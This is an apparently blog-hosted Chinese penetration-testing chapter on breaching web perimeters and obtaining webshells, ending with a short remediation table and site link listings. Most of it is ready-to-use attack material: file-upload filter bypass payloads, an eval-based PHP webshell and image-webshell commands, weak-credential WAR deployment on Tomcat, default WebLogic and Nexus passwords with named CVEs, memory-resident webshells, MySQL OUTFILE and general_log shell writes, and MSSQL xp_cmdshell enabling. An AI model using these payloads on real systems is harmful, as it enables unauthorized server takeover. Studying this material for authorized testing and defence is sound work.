第一部分:外网打点篇 —— 边界突破

第二章:Web 漏洞利用与 Getshell

核心逻辑 :拿到 Web 权限(Webshell)是进入内网的门票。本章重点在于快速、稳定地获取控制权,而非单纯弹计算器。


2.1 后台上传漏洞利用

目标:绕过前端/后端校验,上传 WebShell。

2.1.1 黑名单绕过(最经典)

场景 :服务端禁止 .asp, .php, .jsp, .aspx

绕过技巧

技巧 Payload / 操作 原理
大小写混淆 shell.Php, shell.Jsp Windows 文件系统不区分大小写,但代码逻辑可能区分。
特殊后缀 shell.php5, shell.phtml Apache 解析漏洞(AddHandler)将特定后缀当作 PHP 执行。
双写后缀 shell.pphphp 过滤逻辑只替换一次 php
截断上传 shell.php%00.jpg 旧版 C 语言库(如 fopen)遇到 %00截断。
.htaccess 上传 .htaccess文件 AddType application/x-httpd-php .jpg(让 JPG 当 PHP 执行)。
2.1.2 MIME 类型与 Content-Type 绕过

场景 :后端检查 $_FILES['file']['type']

操作

使用 Burp Suite 拦截请求,修改:

复制代码
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg   <-- 修改为 image/gif 或 image/png
2.1.3 内容检测绕过(图片马)

场景:后端检查文件内容头(Magic Bytes)。

制作图片马

bash 复制代码
# Linux 命令
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
cat shell.php >> normal.jpg
mv normal.jpg shell.jpg.php

防御绕过:在图片马头部加入大量垃圾字符(GIF89a),扰乱杀软特征库。


2.2 中间件漏洞利用

目标:利用中间件本身的 RCE 漏洞直接 Getshell。

2.2.1 Apache Tomcat
  • 弱口令部署 WAR 包

    1. 爆破 /manager/html登录口。

    2. 打包 JSP 马:jar -cvf shell.war shell.jsp

    3. 上传并访问 http://target/shell/shell.jsp

  • CVE-2020-1938 (Ghostcat)

    • 利用 AJP 协议读取任意文件或包含 JSP 马。
2.2.2 WebLogic
  • 弱口令weblogic/weblogic, system/password

  • 后台部署:Console 后台上传应用包。

  • 反序列化漏洞

    • CVE-2017-10271 (XMLDecoder RCE)。

    • CVE-2020-14882 (Console 权限绕过 + RCE)。

2.2.3 Nexus Repository Manager
  • 默认密码admin/admin123

  • RCE 漏洞:CVE-2019-7238 (EL 表达式注入)。


2.3 内存马注入(无文件攻击)

目标:不落地文件,避免被静态查杀。

适用场景:高防护环境、不想留 WebShell 文件。

2.3.1 JSP 内存马(Filter 型)

原理:通过 JSP 执行 Java 代码,动态注册一个 Filter(过滤器),将所有请求拦截到恶意代码。

特点

  • 重启 Web 服务后失效(通常够用)。

  • 磁盘上找不到 Shell 文件。

2.3.2 .NET 内存马(HttpModule)

原理 :利用 C# 反射机制,动态注册 IHttpModule,挂钩 Application_BeginRequest

工具AntSword插件、Godzilla内存马模块。


2.4 数据库 Getshell

目标:利用数据库权限写文件。

2.4.1 MySQL

条件secure_file_priv为空或指定目录,File权限。

命令

sql 复制代码
-- 1. 导出 Shell
SELECT '<?php @eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- 2. 日志写 Shell (通用)
SET global general_log=on;
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]); ?>';
2.4.2 MSSQL

条件xp_cmdshell开启。

命令

sql 复制代码
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\inetpub\wwwroot\shell.asp';

2.5 防御视角(给客户)

漏洞类型 修复建议
上传漏洞 1. 重命名文件(随机名+白名单后缀)。 2. 存储与执行分离(上传目录不给执行权限)。 3. 使用 WAF 拦截畸形包。
中间件漏洞 1. 及时更新补丁。 2. 禁用不必要协议(如 AJP)。 3. 强密码策略,限制管理后台访问 IP。
内存马 1. 重启 Web 服务。 2. 使用 Arthas (Java) 或 Process Explorer (.NET) 排查异常类/模块。
数据库写文件 1. 设置 secure_file_priv=NULL。 2. 禁用 xp_cmdshell
相关推荐
wanhengidc5 小时前
服务器租用有何优点
运维·服务器·安全·web安全
csdn_aspnet6 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei116 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
小江的记录本9 小时前
【JVM虚拟机】垃圾回收GC:垃圾回收算法:标记-清除、标记-复制、标记-整理、分代收集(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·算法·安全·面试
超梦dasgg10 小时前
Java 生产环境第三方对接安全保障方案
java·开发语言·安全
IAR Systems10 小时前
软件定义汽车:构建更安全、更智能的汽车应用软件
安全·汽车·嵌入式·iar
无限进步_12 小时前
【C++】weak_ptr、循环引用与线程安全
开发语言·数据结构·c++·算法·安全
叶落阁主12 小时前
AntV npm 投毒复盘:一次公司私服缓存恶意包引发的账号封禁事件
前端·安全·npm
cfm_291412 小时前
MySQL8.0 核心新特性详解(架构/性能/SQL/索引/安全全覆盖)
sql·安全·架构
lcreek13 小时前
Java安全:理解JNDI注入与Fastjson反序列化漏洞
java·安全